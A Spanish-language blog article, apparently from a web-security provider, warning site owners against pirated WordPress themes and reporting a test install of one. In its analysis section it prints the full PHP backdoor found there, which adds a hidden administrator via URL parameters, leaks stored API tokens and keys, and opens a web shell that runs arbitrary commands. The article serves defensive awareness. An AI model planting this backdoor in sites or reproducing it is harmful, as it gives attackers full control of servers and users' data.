Si estás pensando en crear un sitio web, la primera pregunta que viene a la cabeza es ¿Cuál layout (o plantilla) debo escoger? Son muchas las ideas que comienzan a aparecer, sin embargo es importante que busques modelos de layout y temas que tengan que ver con la propuesta de tu marca. En internet no es muy difícil encontrar buenas referencias e ideas que te pueden servir.

No necesitas buscar mucho en la web para encontrar sitios que ofrecen plantillas de forma gratuita para CMS como WordPress, por ejemplo. Puedes encontrar un tema pirata muy rápido y,  la mayoría de las veces, ellos funcionan perfectamente, o mejor aún, parece que funcionan.

¿Cuáles son los riesgos?

Las versiones originales de plugins y temas de WordPress, por ejemplo, son bastante seguras, pues poseen actualizaciones constantes. Un tema pirata presenta diversas amenazas para tu sitio web, entre ellas:

• Tener códigos comprometidos o maliciosos
• Los temas piratas muchas veces están con el código comprometido, lo que puede tornar tu sitio en una fuente de spam y propagación de un virus. Además de eso, un tema pirata puede contener un código malicioso que ofrece un backdoor para que los hackers puedan tener acceso total a tus datos, y los de tus clientes también.
• Te puede interesar: Ataques cibernéticos: Conoce las técnicas mas utilizadas
• Tener versiones desactualizadas
• Las actualizaciones de los temas y plugins son realizadas para reducir vulnerabilidades de seguridad y ofrecer al usuario una nueva versión con corrección de las fallas. Cuando utilizas un tema o plugin desactualizado, las brechas de seguridad son conocidas y los hackers pueden aprovecharse de eso para infectar el sitio web.
• Te puede interessar: ¿Qué tan seguro es tu sitio web?
• Perjudica en el posicionamiento de Google
• Como los temas piratas contienen información perjudicial en el código, muchos de esos contenidos escondidos son detectados por Google y considerados maliciosos, lo que interfiere en el posicionamiento de tu sitio web en este mecanismo de búsqueda y puede resultar en una penalización también.

Instalar softwares de origen desconocida también perjudica tu sitio web tornándolo una fuente más para envio de spam; lo que te deja con mala reputación en internet, instalación de phishing, que puede generar alertas para cualquier persona que entra en tu sitio web, la famosa pantalla roja de Google; y también la pérdida total de tus archivos, post, y configuraciones del sitio web.

¿Tu ‘proveedor’ pirata te va a ajudar?

Recibir soporte de los desarrolladores que han construido un tema para sitio web es muy importante a la hora de comprar de un tema WordPress. Si usas un tema pirata, no tendrás esta ventaja; cuando utilizas un tema pirata no hay ningún tipo de garantía en el caso de que algo inesperado ocurra, como invasiones, por ejemplo; además de eso, muchos temas pagos poseen garantía y reembolso, si no quedas satisfecho.

¿Qué puedo encontrar en mi sitio web al instalar un tema pirata?

Para hacer una simulación y demostrar los daños que ocurren al utilizar versiones piratas, generalmente hacemos un análisis descargando un archivo y realizando la instalación en un ambiente de pruebas.

Recuerda: El tema original pago no presenta ningún problema y puede ser usado con toda seguridad, para hacer la demostración utilizamos una versión disponibilizada de forma gratuita en internet para poder analizar los impactos.

Descompactamos los archivos y realizamos un escaneo con nuestro antivirus para verificar las amenazas. Te presentamos a continuación cuáles fueron los malwares encontrados:

./class.theme-modules.php
./inc/admin/envato_setup/child-theme/class.theme-modules.php
./inc/admin/advanced/functions/class.theme-modules.php

Esos archivos sirven para barrer tu WordPress en la hora de la instalación del tema e instalar varios backdoors para el comando del invasor. Mira el resultado del escaneo después de la instalación:

wp-content/themes/twentyseventeen/functions.php
wp-content/themes/twentyfifteen/functions.php
wp-content/themes/twentysixteen/functions.php
wp-content/themes/flatsome/inc/admin/envato_setup/child-theme/class.theme-modules.php
wp-content/themes/flatsome/functions.php

Podemos ver que todos lo archivos functions.php de todos los temas instalados fueron  infectados, esa infección es un backdoor que en esta variación es utilizado para infectar el archivo class.wp.php con el contenido abajo:

<?php
error_reporting(0);
require $_SERVER[‘DOCUMENT_ROOT’].’/wp-load.php’;
$table_name = $wpdb->get_blog_prefix();
$sample = ‘a:1:{s:13:”administrator”;b:1;}’;
if( isset($_GET[‘ok’]) ) { echo ‘<!– Silence is golden. –>’;}
if( isset($_GET[‘awu’]) ) {
$wpdb->query(“INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (‘1001010’, ‘1001010’, ‘\$P\$B3PJXeorEqVMl//L3H5xFX1Uc0t5870’, ‘1001010’, ‘[email protected]’, ”, ‘2011-06-07 00:00:00’, ”, ‘0’, ‘1001010’);”);
$wpdb->query(“INSERT INTO $wpdb->usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (1001010, ‘1001010’, ‘{$table_name}capabilities’, ‘{$sample}’);”);
$wpdb->query(“INSERT INTO $wpdb->usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, ‘1001010’, ‘{$table_name}user_level’, ’10’);”); }
if( isset($_GET[‘dwu’]) ) { $wpdb->query(“DELETE FROM $wpdb->users WHERE `ID` = 1001010”);
$wpdb->query(“DELETE FROM $wpdb->usermeta WHERE $wpdb->usermeta.`umeta_id` = 1001010”);}
if( isset($_GET[‘key’]) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo ‘<center><h2>’; echo esc_html( envato_market()->get_option( ‘token’ ) ); ‘<br />’; o esc_attr( $options[‘user_name’] . ‘:’ . esc_attr( $options[‘api_key’])); echo ‘</center></h2>’; }
if( isset($_GET[‘console’]) ) {function MakeSimpleForm() { ?> <form method=’GET’ action='<?=$_SERVER[‘PHP_SELF’]?>’>
<input type=text name=’cmd’> <input type=submit name=’exec’ value=’ok’> </form> <? } function DoCmd($cmd) { ?>
<textarea rows=30 cols=80><?=passthru($cmd)?></textarea><br> <? } if ( isset($_REQUEST[‘exec’]) && isset($_REQUEST[‘cmd’]))
DoCmd($_REQUEST[‘cmd’]); else MakeSimpleForm();}?>

Este código permite que sea insertado un usuario en el WordPress con derechos de administrador adicionando parámetros en la url:

dominioteste/wp-includes/class.wp.php?awu
awu: Add WordPress user

Con esto, el usuario que es creado como administrador en el sitio web será quien dé el control total para el invasor. Por esta razón es importante instalar temas y plugins originales en tu sitio web para que siempre esté seguro y libre de esas amenazas.

¿Dónde encontrar temas originales y seguros?

Es importante que sepas que no todos los temas gratuitos son riesgosos. Lo principal es conocer la fuente de dónde obtienes los temas y saber si puedes confiar en ese sitio web. Puedes adquirir temas y plugins en el  directorio oficial de WordPress.

Ten cuidado con todos los recursos que utilizas en tu sitio web. Ten siempre como prioridad el cuidado y la seguridad de todos en internet.  Preparamos para ti algunos consejos sobre cómo escoger el mejor tema para tu sitio web

Traducción y adaptación por Maria Alejandra Valois. Texto original aquí.